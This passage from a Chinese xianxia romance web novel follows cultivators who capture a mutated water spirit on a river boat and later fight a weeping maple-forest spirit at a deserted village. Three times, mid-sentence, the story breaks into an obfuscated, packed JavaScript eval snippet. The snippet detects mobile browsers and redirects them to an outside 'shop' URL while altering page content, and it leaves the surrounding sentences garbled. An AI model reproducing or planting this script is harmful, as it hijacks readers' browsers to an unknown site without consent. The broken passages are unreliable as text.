池宜眸光微凝,开口:“水与油不相容。它既藏于水影之中,必沾水汽,我用油泼洒船身,逼它留下踪迹。” 银殊很快从袋中拿出油壶——下山前做了最艰苦的条件打算,一应炊具食材应有尽有。 清亮的油脂凌空洒落,顺着船板漫开。油花浮于水面,不与江水相融,但凡有异物触碰,便会留下清晰痕迹。 “佯装入睡,引它现身。”陆明修道。 众人依言熄灭灯火,各自躺卧,呼吸放轻,舱内一片寂静,只余江水拍船之声。 时至后半夜,月色更淡,江风阴冷。 暗处,一道模糊的影子悄然贴近船身,动作轻得没有半点声息,只那道厚重的呼吸,若有似无地飘在空气里。 早已暗中戒备的众人猛地睁眼。 陆明修剑势将发推门而出,池宜却先一步抬手,取出一盏聚魂灯。灯火微亮,幽光淡淡,她对准那道影子,径直照去。 可奇怪的是——聚魂灯光芒扫过,那影子竟毫无反应,依旧隐在暗处,不受牵引。 “怎么回事?”祝小筱低呼。 “难道不是妖魔?”池宜皱眉思索。 话音落,浮着斑驳清油的影子骤然一动,猛地朝众人扑来! 粗重的呼吸声骤然变得刺耳,无数道虚幻的人影在黑影周遭翻涌、扭曲,发出模糊的呜咽,听得人头皮发麻。 “大家守住,不要被阴气扰了心神!”陆明修立刻抬手布下护体灵光。 “不急!”长剑出鞘,剑气凛冽,直劈那道黑影,却只穿透一片虚无,斩在了空处。 “它没有实体,只靠怨念与水汽成形。”陆明修收剑蹙眉,“寻常攻击伤不到它。” 银殊浑身灵力一振,银杏灵力化作点点金光,朝黑影打去,却也只让它微微一滞,转眼又缠了上来。祝小筱祭出符箓,火光冲天,可那黑影遇火不退,反而愈发张狂,整个船舱都被阴冷气息笼罩。 池宜立在船头,目光冷定。 她早已看清——此妖靠江水藏身、靠阴气护体、靠人心恐惧壮大,又因变异,无魂可锁,聚魂灯在它显露原型前,根本无用。 “它不是没有本体,只是藏在水里。”池宜声音清亮,“它靠吞人气息为生,久居江中,早已与水脉缠在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319208|199030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,不逼它上岸凝出实体,永远捉不到。” 说罢,池宜抬手引动先前洒下的油脂。 灵光一催,江面浮油骤然燃起一层薄薄却极烈的淡金色火环,沿着船身一圈铺开,火不沾水,只燃油面,将江面与船身彻底隔开。 黑影被困在火环与船身之间,无处可逃,发出尖厉的嘶鸣。 阴气被火光一逼,疯狂翻腾、收缩,渐渐不再是散雾状,而是一点点凝聚、压缩、成形。 它正在被逼出原型。 “就是现在!” 池宜抬手,聚魂灯高悬头顶。 灯光不再微弱,而是骤然爆发出刺目的清辉。 那黑影在火光中不断扭曲、膨胀,一声凄厉长嚎后,彻底显露出本体——竟是一只由无数溺水亡魂怨念汇聚、长年沉江、早已异变的沧浪影。而它通体漆黑,眼窝空洞,周身缠绕湿冷阴气,与寻常通体透明晶莹的沧浪影截然不同。 四下里,那沉重、浑浊、令人窒息的呼吸声,终于彻底消失。 池宜并不急将它捉到聚魂灯,用绳索牢牢捆住它。 还不等池宜开口,这只变异的沧浪影喊道:“我不是妖,我是怪!我有名字,我叫浮盈!” 池宜被这一声惊得耳朵发疼,偏头揉了下耳骨,幽怨道:“嘶——你小点声我也能听见。说说吧,你怎么变异的。” “五年前我和家族其他妖一样,在清晨雾起、月夜潮生之时吸水汽灵气。谁知道某天夜里醒来,我突然满身燥热醒来就是这样,不吞噬落水人的怨念就会消失,我同族的妖已经不和我玩了!” “可是这也不是你残害无辜人的理由啊。”一旁的银殊开口。 “好姐姐,我往日都是只吃遇险之人怨念。你这么看我干吗。”浮盈看向祝小筱,显然祝小筱不信它没刻意制造些险情,它急忙解释道:“我真没干过那种事,你就是去冥界查这些人死因也肯定和我没关系。我今天也是感觉到这艘船灵气异常,一时鬼迷心窍才下了手。好道长们,我真知道错了。” “你既以怨气为生,今后我收了你,为你寻找活人怨,你将其怨气食尽,也算是功德一件。别再想方设法祸害生人。” “啊?!我不要!”浮盈左右摇动,任凭它挣扎绳索都没有丝毫变动,其余几人就这样静静地凝视着。 它最终败下阵,“——好吧!” “你也不用想着逃跑。你依水而生,想来那呼吸声就是你的脚步声吧?我将你放在玄水瓶,一是约束你,二来你也有修行居所.......” “好的,漂亮道长姐姐!你说什么我都听。”浮盈被折腾一番,现在只想好好清洗一下身上附着的油,整的它浑身不自在。 “以后不听我说完话,我就把你泡在油里。”池宜恶狠狠地剜了它一眼,放玄水瓶于二人之间,翻手掐诀将浮盈收进瓶内。 夜风轻卷,乌篷船继续顺流而下,驶向远处齐云山。 风波暂歇,舱内重归安宁。落水弟子已安顿妥当,众人虽心有余悸,却也因除去一桩尚未起的祸患而松了口气。后半夜轮值,池宜主动接下最末一段守夜,提着一盏微光,轻步在甲板上巡逻。 月色清寒,江雾渐浓,船行平稳,水声潺潺。四下寂静无声,唯有她衣袂轻扫甲板的细碎声响。池宜脚步放轻,灵力散于四周,警惕着是否还有余祟未清,神色沉静,一丝不苟。 行至船头时,她忽觉头顶风动。 一道身影悄无声息立在船顶,月色下身形挺拔,气息隐而不发,竟连她都未第一时间察觉。 池宜心头一警,未及细想,身形已先一步动——暗剑出鞘,足尖一点,纵身而上,招式利落凌厉,直取对方要害。 对方显然未料到她反应如此之快,仓促间侧身避让,衣袖翻飞间,两人已在船顶与船舷之间交手数招。 招式迅捷,风声凌厉,却都留了分寸,未真正下死手。 池宜越打越疑。 她骤然收势,后退半步,借着月色凝眸细看。 看清面容的刹那,池宜整个人一僵。 是松时生。 她脱口而出:”你偷跑出来了?“ 9. 魂来枫林青(2) 上清山宗禁:无令不得擅自外出,擅自行动。违者降二阶,受十五鞭。 池宜惊呼:好学生要受罚了吗! “我不会受罚的。”松时生唇角轻勾,笑意淡淡,“前方路径复杂,旧图多有疏漏,我接到门令,提前沿路探查,重新绘制了堪舆图。” 他说着,自袖中取出一卷新绘的图纸,轻轻递到她面前。 池宜把不急收回剑鞘,接过图纸粗略看了一下——黑灯瞎火的她能看清啥! “真是,辛苦你了。”她轻声道。 “别傻站着了,坐会儿吧,我们两个这么站着,还怪诡异的。”语气里带着几分无奈、几分抱怨,却又放得极轻,怕惊扰了夜色:“你一声不吭站在船顶,要风度不要温度,吓我一跳。” “你们出手的时候我就在,是你没发现我。”松时生垂在身侧的指尖几不可察地蜷了蜷,唇角那抹浅淡笑意依旧。 池宜没听出他话里抹转瞬即逝的失落,反问道:“那你为何不直接现身,和我们汇合?” “小池姑娘说的是。”松时生没有顺着她的话往下说,反而让池宜因为这个听起来很是规矩的称呼噎了一下。 人在尴尬的时候会手忙脚乱,已经坐在船顶又不好再站起来,池宜快要把大拇指指甲磨平了。 她憋了半天,才小声嘟囔一句,带着点不自在的恼意:“诶,你,咋这么叫我。” 松时生侧眸看她,眼睫垂落,遮住眸底那点浅浅的笑意,面上却一派认真,语气纯然无辜:“在下失礼了?” 他微微顿了顿,声音轻缓,带着几分恰到好处的疑惑“不知小池姑娘,是不喜这般称呼?据我所知,按照年岁你长我三个月,可以唤一声...” “...师姐?” 这个称呼犹如惊天巨雷在池宜头顶炸开,还没等她反驳,松时生又自顾自地说下去: “但你我同年入山,故而这样称呼不合适。若是按修为以师兄妹相称,时生还真不一定是小池姑娘的对手。” “所以,时生还要向小池姑娘请教,应该如何称呼?” 池宜被他一连串绕来绕去的话堵得脸颊发烫,脑子都快转不过弯,声音都拔高了半分: “松时生!你故意的是不是!” 她耳尖泛红,眼神又气又乱,像只被踩了尾巴的小兽,偏偏还强装镇定:“什么师姐不师姐、修为不修为的,平时怎么叫,现在就怎么叫!” 松时生看着她炸毛的模样,垂在身侧的手轻轻抵了抵唇,掩去一丝忍不住的笑意,眼底却亮得很:“平时是如何叫?” 是啊,两个人平日交集可谓为零! 池宜一噎,脸更红了。 她别过脸,目视江面,声音闷闷的:“就、就叫名字!” 松时生低低笑了一声,那笑声很轻,他不再逗她,语气恢复了平日的清浅,却多了几分不易察觉的纵容: “好。” “池宜。” 这也叫无情道? 谁家无情道传人,故意逗人,还笑得这么温柔! 简直比寻常弟子还会撩! 道心呢?清冷呢? 怎么到他这儿,全变成了一副“咄咄逼人”的样子! “可以,可以,这样很正常。” 池宜从乾坤袋里拿出还没看完的志怪小说,顺手递给他:“不知道无情道首席大弟子平日里看不看这些奇闻异事。” 松时生自然地接过,随手一翻就是之前池宜看到的枫树为爱杀人故事的消失空白页。 “哈。挺有实力啊。”池宜一脸悻悻然。 松时生前后翻了四五张,都已经是另个故事了。 “这是无字文?” “当然不是,也不是刊印的疏漏。那天我清楚记得看到了这一段。”池宜探了半个身子出去,一手撑着船沿,另一个手指向书的空白处,无意间缩短了二人的距离。 松时生右肩被池宜发带若有若无擦过,不肯停留片刻又落回发间,他呼吸一滞,眼睛瞥向别处。 “你别走神!”池宜撑着船沿的手轻轻拍打他右臂,示意他看书,“但是,我做了一个梦,梦里说‘枫叶儿红,化红妆。枫叶儿黄,贴花黄。枫叶儿枯,闻啼哭。’和这本书所写无二。梦醒后我再翻看,不止这段话没有了,而且后半部分也消失了。” “它像是一直在等着我,去找这个故事。” “书页自行消迹,并非凡物。”他声音放轻,目光落回纸面,“你梦中三句歌谣,与望仙村怨气相合,绝非巧合。” 池宜心头一沉,原本的轻松瞬间散了大半:“我就是上山修仙,吃香喝辣……怎么什么怪事都找我。” 松时生看着她垂着的眼睫,沉默片刻,轻声道:“不是你招惹它,是它找上你。有些缘法,从来不由人选。” “大概就是‘汝负我命,我还汝债,以是因缘,经百千劫,常在生死。’”她本就熬了大半夜,心神一松,困意便如潮水般涌来。 起初还强撑着有一搭没一搭地问:“你说,这枫树精,真会为了一个人,杀人吗?” “情之一字,本就易生执念。”松时生回道,“执念深了,便成魔,成怨。” “那你修无情道,是不是就不会有执念?”池宜迷迷糊糊地问。 松时生顿了顿,声音轻得像叹息:“谁又能真的,一无挂碍。” 池宜没听清后半句,脑袋一点一点,像只啄米的小鸟,到后来意识模糊,身子一歪,便安安静静睡了过去。 松时生侧头时,便见她脑袋歪向自己这边,呼吸轻浅,长发垂落,发尾扫过他的衣袖。 他僵了一瞬,没有动,也没有避开。 还有两个时辰便是日出。 松时生轻轻脱下外袍,小心翼翼盖在她身上,动作轻得怕惊扰她。而后他起身,走到船头,盘膝而坐,闭目调息,后夜未动。 天边泛起鱼肚白时,晨雾散开。 陆明修在船舱内没看到池宜,寻上船来一眼便看到眼前景象——池宜枕着手臂躺在木桌上,睡得毫无形象,脑袋歪在一边,发丝凌乱。 而船头,松时生外袍整齐无褶,闭目打坐,身姿挺拔,气息沉静。 他向松时生微微拱手,道:“陆明修。” 松时生缓缓睁眼,眸中睡意全无,只剩一片清寂淡然。 “松时生。” 池宜被声音吵醒,迷迷糊糊揉着眼睛坐起来,茫然四顾:“……天亮了?” 发现自己从船顶跑到船头,没忍住“诶?”了一声,睡得太晚,猛得起身还有些站不稳。 “师妹怎么了?”陆明修眼疾手快扶住池宜,探了探她额头,“没有发热,应当是着凉了。以后守夜也不要一直在外面,虽说已经入伏天,但江风寒凉。今日应该就到了齐云关,入关后好好休息。” “咳——”松时生掩唇轻咳,打断二人讲话,眼睛落在陆明修握住池宜手臂的手,很快移开眼,“现在是承安关。” 陆明修不明所以。 “师兄我记住啦。哦对了,松时生已经去探过地形了,绘制了一份新的堪舆图,好多地方和原先记载的有所出入,一会儿我们研究一下。”池宜没忍住又打了个长哈欠,舒舒服服地伸了个懒腰,“我去梳妆了,一会儿见。” 陆明修侧身让出路,池宜抓起不急下楼梯往船舱里走去。 “请吧——”这句话就是对松时生说的了。平时二人也只会在必须出席的会议和考核时相遇,顶多是点头之交。 “嗯。” 陆明修觉得面前这个人很怪,今天看起来像是有起床气一样,脸色难看至极。 陆明修心里嘀咕:应当是没有睡好。唉,出门在外还是要保证睡眠啊。 早饭过后,众人清点行囊,浮盈在瓶子里撞来撞去,哀嚎道:“我何时开饭——!” 池宜扔进去一把青梅干,不管三七二十一给它下了禁咒,耳根子终于清净了。 船只停靠码头,只消等到夜里,船只便会自动隐去,也就不需找人看管。 刚一下船,一行人便看到一艘乌篷船早已泊在岸边,船头立着一个蓄着胡须的男子,后面带着十来个护卫和家丁。这神情,明摆着等他们呢。 一见众人下船,男子连忙上前躬身。 不等开口,池宜快步绕过陆明修走到最前面叫出:“伍叔!” “池丫头?好久不见呐,长这么大了。”池宜口中的伍叔曾是池宜父亲手下幕僚,早年跟随大军回江南后,一直负责校场事务。 同池宜短暂叙旧后,伍叔对其他人又行一礼,道:“在下来自江南池家,奉家主之命,在此等候诸位仙长。”抬手自袖中取出一方锦盒,双手奉上: “朝堂规制森严,诸位仙长入世行事,多有不便。家主早已备好通关文牒,盖过州府大印,沿途关卡、城池皆可畅行无阻。” 池宜上前一步,接过锦盒打开,里面数份烫金封皮的通关文牒整齐摆放,印鉴清晰,规制完备。她颔首致谢:“有劳母亲父亲费心。” “丫头,夫人和将军托我捎句话,‘此行路途艰险,万望吾孩珍重之。若遇难事,池家上下定竭尽全力相助。盼,早日平安归来。’”给夫人将军带完话,他语重心长道: “叔这辈子活在刀光剑影里,虽不知你们要去做何事,你只记住,与其害怕不如面对。叔等你回来!” 她没再多言,上前一步,轻轻抱住了伍叔。 “好孩子,不哭。”他声音放得极低,带着岁月沉淀的温和,“你长大了,也变强了,叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319209|199030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着高兴。” 池宜把脸埋在他肩头,闷头“嗯”了一声,不愿让人看见她泛红的眼眶。 只一瞬,她便松开手,后退半步,抬手飞快抹了抹眼角,又恢复成那副洒脱的模样。 “伍叔放心,我一定好好的。”她唇角扬起,笑得明亮,“等事情了结,我回来看你。” 伍叔望着她,重重点头,眼中满是疼惜与期许。 “好,伍叔等着。” 池宜把通牒放进乾坤袋,两拨人互相道别。一行人踏进了承安关,一行人走入江南烟雨。 齐云镇大多数以捕鱼为生,随处可见的鱼肆旌旗随风招展,百姓来来往往,为了避免过于吸睛,在下船前各自换上寻常衣服,法器也都收隐。 临街有一戏台,正巧锣鼓开嗓。 “你你你—— 自诩正道高悬、仁义在肩, 且睁眼,分明看—— 这世间累累怨气,不曾见半分安放。 无辜魂断私欲刀,苍生血养伪圣贤。 凭甚?良善赴死,奸邪登坛? 凭甚?任他宰割,叫恃强者掌权?” 池宜侧耳听去:“这折戏,好大的怨气。” “走吧,大家一路舟车劳顿,先去找客栈休息。”陆明修发令,大家停驻的脚步又动了起来。 找了家干净的客栈,店家一看来人这样多,心里乐开花。 “各位客官,是住店还是吃饭!” “暂时用不到饭。来十间客房,要连着的。”陆明修付了银子,在店家引领下上楼。 这阵势浩浩荡荡,店家几次想问来由,又怕言多失了大单,把话悉数吞进肚子。 其余弟子已经挑选好房间,只剩下六个人在三个门前徘徊。 “小池师姐,我要跟你和小筱!”银殊跑到一间屋子门前,招呼着二人。 “一间屋子只能睡两个人,你是想睡在树上吗?”池宜比划了一颗树的样子,看着她努起嘴,过去牵着她的手,“你和小筱一起睡,好有个照应。就这样决定啦!” 池宜考虑到段师姐和她们二人不是很熟稔,届时都不自在,也难以睡个好觉。 “那我和师姐睡一间屋子。”池宜揽住段行容右臂,段行容轻声应了句“好”。 陆明修道:“今夜我们二人轮流守夜,你们好好休息。” 另一个,自然就是松时生。 “正是此意。”松时生开口,算是同意这个提议。 他本来也不打算两个人共住一起,还是和不熟悉的人睡在一间屋子。 六个人分配好也都各自安置,池宜也是许久没有和段行容坐在一起说话。 “师姐近年来不是闭关就是下山坐诊,连年见不到师姐。”池宜铺好被褥,在屋里点上一支香,防止妖邪侵入。 “山中岁月清闲,一入定便是数月,倒叫你挂念了。”她声音轻软,带着淡淡药香,“只是世间伤病不断,我既修济世道,便少不得四处奔走,不得清闲。” 池宜摆出一副撒娇模样,软声细语:“师姐再忙,也该捎句话给我。我每次去找你,都只见到空荡荡的屋子,心里空落落的。” 段行容轻笑一声,指尖轻轻刮了刮她的鼻尖:“是师姐疏忽了。往后...往后但凡归来,必让人知会你一声。”她双睫轻颤,如同抖擞的蝴蝶。 段行容也摆上香炉,从各式各样的瓶瓶罐罐里取出香粉放在里面平铺开来。 屋内灯火昏柔,窗外夜风轻拂。 松时生守在客栈外的古柏上,视线时不时落在闪着微光的屋子。忽然有一人影遮住了窗子,下一秒池宜的声音就传入他的耳朵。 “我知道啦师兄,你快去休息吧!明日见!”池宜扶着门框,和陆明修有说有笑的。 池宜的身影从连廊窗边消失,“叩叩叩——”,陆明修另一扇门。 下一刻又冒出来一个声音。 “陆道长我真没事儿,落水那天......” 后面的内容他也没那么关心,侧过身去盯着天看。 从前在苍溪峰经常一个人修炼到清晨,陪伴他最多的便是满天星辰——和幼时的星空一样,无论什么时候看到这漫天星辰,都是少年时留下的第一眼的样子。 松时生又想起昨夜,心里又升起异样的感受——比上清山那次还要严重。 好烦!烦死了! 松时生恨不得现在下去对着剑桩乱砍一通,偏偏这里什么也没有,他默念清心咒,越念心越烦。 池宜的屋子里又亮起烛火,松时生脑子里的弦绷紧,人影被烛火映在窗子上,被窗棂的分割的七零八落。 不知是池宜还是段行容,只是给桌子上的香炉里添了些东西,随后熄灭烛火,又安静下来。 10. 魂来枫林青(3) “布谷——布谷——” 清脆的鸟鸣声自枝头落下,搅碎一室清寂,添了几分鲜活生气。 镇上的街巷已渐次热闹,一行人收拾妥当辞别齐云镇,顺着堪舆图往望仙村而去。 行至半途,山势渐陡,转过一道弯便是龚岭村地界。 忽听得林间呼哨四起,七八个蒙面壮汉提着刀棍窜出,横在路中央,满脸凶相。 原是昨日一行人踏入齐云镇,便被附近流寇乱贼盯上,只当是可宰割的肥羊,妄图拦路劫掠。 池宜见状嗤笑一声,手按在剑柄上,上前一步:“光天化日之下拦路打劫,胆子倒是不小。” 为首劫匪打量众人衣着普通,只当是寻常行商,挥棍便要上前:“少废话,再不交钱,别怪爷们不客气!” 不等几人出手,跟随弟子已经从后面冲上来,为首的还是池宜救上来的落水弟子。 “尔等毛贼,光天化日竟敢拦路劫掠!”他横剑胸前,声音尚带青涩,却字字清亮,“岂容你们放肆!” 流寇见只是几个半大孩子,顿时哄笑起来:“就凭你们几个小娃娃,也敢多管闲事?” 为首劫匪挥棍便砸。 不能用灵力,倒是检验这些弟子的剑功的好机会。 “别伤及性命,敞开了打。”陆明修等人退后,留出足够的空地。 众弟子不闪不避,长剑斜挑,招式虽不算精妙,却稳扎稳打,恰好格开棍势。 年轻弟子虽气力不及对方,却胜在身法灵巧,几步腾挪间,不落下风。 “小心身后——” 一名弟子堪堪避开偷袭,肩头虽被棍风扫到,却咬着牙不退半步,反而趁势欺近,剑脊一拍,正中那劫匪手腕。 “哎哟!” 劫匪吃痛,棍棒脱手落地。 余下流寇见这群少年修士虽年轻,却配合默契、招式有度,再看远处池宜、松时生等人负手而立,气度沉稳,心知遇上硬茬,顿时胆寒。 “走、走!” 不知是谁喊了一声,流寇们捡起棍棒,连滚带爬窜进密林,片刻便没了踪影。 落水弟子收剑回身,额上已渗出汗珠,肩头也隐隐作痛,却仍是快步朝众人躬身一礼,脸上带着几分少年意气:“让师兄师姐见笑。” 池宜挑眉,嘴角轻扬,已经伸出手想拍一下他的肩膀,又想起来方才他被流寇击中肩头,手掌握拳比了个大拇指:“你们都是上清山有实力的弟子,不必过谦。” 松时生目光淡淡扫过众人,并未多言,只微微颔首,算是默认。 陆明修见状温声道:“年轻一辈,有此担当,甚好。此地不宜久留,继续赶路,望仙村不远了。” 众人整理行装,再度启程。随之加快脚步前行,约莫半个时辰,终于抵达望仙村。 只是这村子,死寂得诡异——村口荒草没径,屋舍倾颓,蛛网密布,半点人烟也无。 牌坊上的“望仙村”三个字猩红刺目,并非朱砂新描,倒像是陈年旧血浸透了石缝,又被阴湿潮气反复晕染,暗红发黑,黏腻暗沉,像被人从头浇下一层血,凝在石上。 祝小筱死死盯着牌坊,只觉那三个字像活物一般,阴恻恻盯着她瞧。一股寒气顺着脊椎悄无声息往上爬,钻皮入骨,浑身汗毛根根倒竖,手脚都微微发僵。 便在此时—— 枯枝深处,猝然窜出一只孤鸟,羽色灰败,猛地振翅飞起,“嘎——”一声嘶哑凄厉的怪叫,破空而来,突兀得叫人心脏骤然缩紧。 祝小筱本就绷到极致,被这一声惊得浑身一颤,魂都飞了半截。 她慌忙咬住唇,强忍着没叫出声,喉间发紧,只听见自己“咕咚”一声,狠狠咽了口唾沫,声音在死寂里显得格外有声。 身旁的池宜眼疾手快,几乎在她发抖的瞬间,就伸手揽住了她的胳膊,指尖带着温热的暖意。 “我宗第八百八十八代八卦师,不能就此陨落!你放心,真有什么牛鬼蛇神,你只管扔符,其他的,有姊妹给你挡着。” 说着,她还极其自然地抬手,用食指轻轻敲了敲祝小筱盯着牌坊的脑门,把她的视线强行掰了回来。 “你怎么这么好,我要一辈子和你在一起,呜呜呜...” “咳——”松时生在一旁出声,解释道:“当地县志记载,此地发过一次特大山洪,当地人人都迁到龚岭村一带,因此荒废下来。” 穿过村口,往里走过村主路,就是齐云山入山口,漫山遍野的枫林迎风招展。 地上散落着锈迹斑斑的兵器、残破的符纸,还有早已干涸发黑的血迹,树干上满是剑劈斧砍的痕迹,显然经历过一场场惨烈打斗。 从惊恐中缓过神来的祝小筱捡起一张边缘烧成不规则的符纸,有些惋惜道:“这是上好的符纸,用这样的纸写符文能发挥出额外的功力,可惜了。” “好大的怨气,好美味的怨气——”浮盈虽被解了禁咒,但唯有池宜能听见它垂涎的低语。 池宜拍了拍玄水瓶瓶身,传音威胁它:“需要你的时候给你管够,先饿着吧。” 池宜环顾四周,心头沉甸甸的,昨夜那首歌谣莫名浮上心头: 枫叶儿红,化红妆。 枫叶儿黄,贴花黄。 枫叶儿枯,闻啼哭。 正思忖间,脚下林间忽然光影扭曲,一道虚幻虚影骤然浮现。 红衣少女立在枫树下,裙摆如烈火盛放,面前站着一身素衣的书生,二人执手相望,眉眼间尽是缱绻。 “山远天高烟水寒,相思枫叶丹。此生不负。”书生声音温柔,字字真切。 少女垂眸浅笑,眼角含情:“我等你,无论多久,都等。” 誓言犹在耳畔,光影却骤然碎裂,如同琉璃坠地,转瞬消散无踪,只余下满林寂静。 众人皆是一怔。 “方才那是……幻境残像?”银殊攥紧衣角,怯生生道。 “是执念所化的虚影,看来这望仙村的怪事,根源便在这片枫林。”陆明修眸色沉了沉,以领队身份发令:“此地不宜集体行动,容易被各个击破,分头探查,切记小心,若遇险境,立刻捏碎传讯玉符。” 他抬手将堪舆图展开,对着众人道:“我熟稔宗门护山大阵,东侧残符多为困阵碎片,带两名弟子去探查阵法残留,看能否找到破解幻境的蛛丝马迹。” “那我跟着陆道长吧!”银殊一溜烟跑到陆明修身旁。 松时生颔首应下:“理应如此。” 他又转向段行容,目光柔和了几分:“段师姐,西侧溪边草木尚青,怨气较淡,且散落着不少受伤修士的踪迹,你精通医道,带着小筱去救治伤者,顺便排查妖物留下的痕迹。” 段行容指尖轻捻药囊,温声道:“好,我会妥善安置伤者。” 分派完众人,陆明修抬眼看向池宜,手中的堪舆图并未收起,反而朝她递了半寸:“枫林腹地是怨气相核,也是堪舆图唯一未完全核实的区域,且与师妹梦中歌谣、无字志怪书的线索完全重合。” 又扫过她眼底的好奇与警惕,语气藏着考量:“师妹你天生灵体,对执念与怨煞的感应远超常人,恰好能定位幻境核。松师弟熟稔地脉舆图,可护你不迷失方向。” 一旁的松时生对这声“松师弟”轻哼一声,但对这个分配无任何意见。 池宜心里原本以为会和师姐一组,还在犯嘀咕,也只能将舆图塞回乾坤袋,拍了拍剑柄:“行,那就搭档一场。松时生,带路吧,我倒要看看,这里的执念,到底有多深。” 当下分派妥当:陆明修带银殊和弟子往东,段行容与祝小筱往西,池宜则与松时生一同深入枫林腹地。 二人并肩走入密林,枫树愈发高大,枝叶遮天蔽日,光线昏暗,空气中弥漫着淡淡的腥气与怨气。 越往深处走,地上倒伏的修士越多,个个面色惨白,气息微弱,双目紧闭,如同陷入沉睡,周身萦绕着若有若无的迷障之力。 池宜蹲下身,指尖轻探一名修士脉搏:“还有气,只是神魂被幻境困住,醒不过来。” 松时生抬手,灵力轻柔注入修士体内,片刻后,那人睫毛一颤,缓缓睁开眼,眼神迷茫,随即满是惊恐。 “幻境……里面全是幻境!”修士抓住池宜的衣袖,声音嘶哑颤抖,“千万不要深入,不要!!” “里面还有其他人吗?”池宜连忙追问。 “有、还有好多人,都被困住了……有妖物,有怨气,还有……”修士话音未落,脸色又白了几分,双眼一翻,再次陷入昏迷。 池宜心头一紧,刚要开口,一阵若有若无的哭声,随风飘来。 松时生给昏迷的修士周身下了结界,池宜也起身,顺着声音传来的方向看去。 哭声细细软软,悲悲切切,像是孩童,又像是少女,从枫林深处缓缓传来,在寂静的林间回荡,听得人毛骨悚然。 枫叶儿枯,闻啼哭。 池宜猛地抬头,看向松时生,四目相对,皆从对方眼中看到了凝重。 哭声越来越近,凄凄惨惨,缠缠绵绵,顺着枫林的风,缠上二人耳畔。 四周枫树迅速枯黄,像是从青葱年华一夜之间人老珠黄。 池宜握紧手中不急,周身灵力绷紧:“来了。” 风动,叶落。 一道纤细的影子,在枫树间,若隐若现。 “堵住耳朵!”池宜捏诀屏蔽外面声音,同样也听不到松时生在说什么。 松时生虚握住她没有握剑的手腕,指尖在她手背写下: 勿视。 池宜紧盯手背,等池宜在心里拼写一遍后,猛然抬头想说些什么,目光与松时生相接之际,一道诡谲艳丽的身影直直刺入眼帘。 那背影一袭猩红长裙曳地,青丝如瀑垂落,周身萦绕着氤氲水汽与浓稠怨气,正是传说中泣泪成珠、以怨气为食的泣珠姬。 不过一瞬,一股阴冷蚀骨的吸力骤然缠上池宜四肢百骸,她体内的灵力不受控制地翻涌,如江河决堤般被疯狂抽取,经脉被拉扯得剧痛难忍,浑身气血逆行。 池宜牙关紧咬,眉心骤蹙,强撑着不肯倒下。 危急关头,丹田深处星辰境的浩瀚灵力骤然觉醒,金光璀璨,威压凛然,死死压制住这股掠夺灵力的邪异躁动。 星辰之力的浩然正气,与泣珠姬的阴邪怨气轰然碰撞,两股截然不同的气息在她体内激烈冲撞,如惊雷炸响,摧枯拉朽。 “噗——” 池宜身体太年轻,再也压制不住翻腾的气血,一口猩红鲜血脱口而出,溅落在枯黄的枫叶上,刺目惊心,身形踉跄着险些栽倒。 “池宜!” 松时生脸色骤变,再顾不上其他,一手稳稳扶住她摇摇欲坠的身躯,另一掌贴于她后背,浑厚精纯的灵力源源不断渡入她体内,温养她受损的经脉。 眸光冷冽,周身灵力暴涨,抬手便凝出数道凌厉风刃,携着开山裂石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玄水瓶内顿时传来一阵兴奋的“咕噜”声,下一秒,一道透明水影从瓶口窜出,就在水鞭袭来之际,悄无声息地融入漫天水雾之中。 浮盈本是天生水灵所化,在这满是水汽的环境里,如鱼得水,瞬间便隐匿了踪迹。 泣珠姬正全力操控水网抵御剑罡,心神全在松时生身上,丝毫未察觉一道同源的水妖之力,已顺着她脚下的潭水,悄然缠上了她的脚踝。 “就是现在!”池宜清喝一声,抬手捏了个引灵诀。 浮盈骤然发力,化作一道湍急的水箭,从泣珠姬身后直直刺入! 这一击刁钻至极,且带着水妖特有的“控水”之力,瞬间打乱了泣珠姬体内的怨气流转。 “啊——” 泣珠姬发出一声凄厉痛呼,操控水网的力道骤减。 池宜抓住这稍纵即逝的破绽,剑诀再催,不急应声而上,光芒甚至盖过承宵剑。 双剑轰然劈开水网,余势未消,刺进泣珠姬心口。 剑光触及她衣衫的刹那,松时生手腕微顿,剑势偏了三分,剑刃最终停在她颈侧,冰冷的剑气划破一层薄皮,渗出一滴淡蓝色的妖血。 顷刻之间,浮盈化作水绳,死死缠绕住泣珠姬的四肢,将她牢牢束缚在半空。 泣珠姬挣扎不已,空洞的眼眸中终于浮现出一丝恐惧,哀泣之声不绝,泪水滚滚而落,坠地的珍珠却渐渐失去了光泽,变得黯淡无光。 她周身的怨气与水汽,也随着浮盈的压制,渐渐萎靡下去。 “别杀我……别杀我……”她声音嘶哑,带着无尽的哀求,“我只是想等他回来……” 松时生收剑回鞘,承宵剑化作一道青光,没入他腰间。被引动的东风缓缓散去,落叶簌簌落地,林间重归沉寂。 泣珠姬化作一滩死水,再也掀不起波澜,被掠夺魂魄的修士们也渐渐恢复意识。 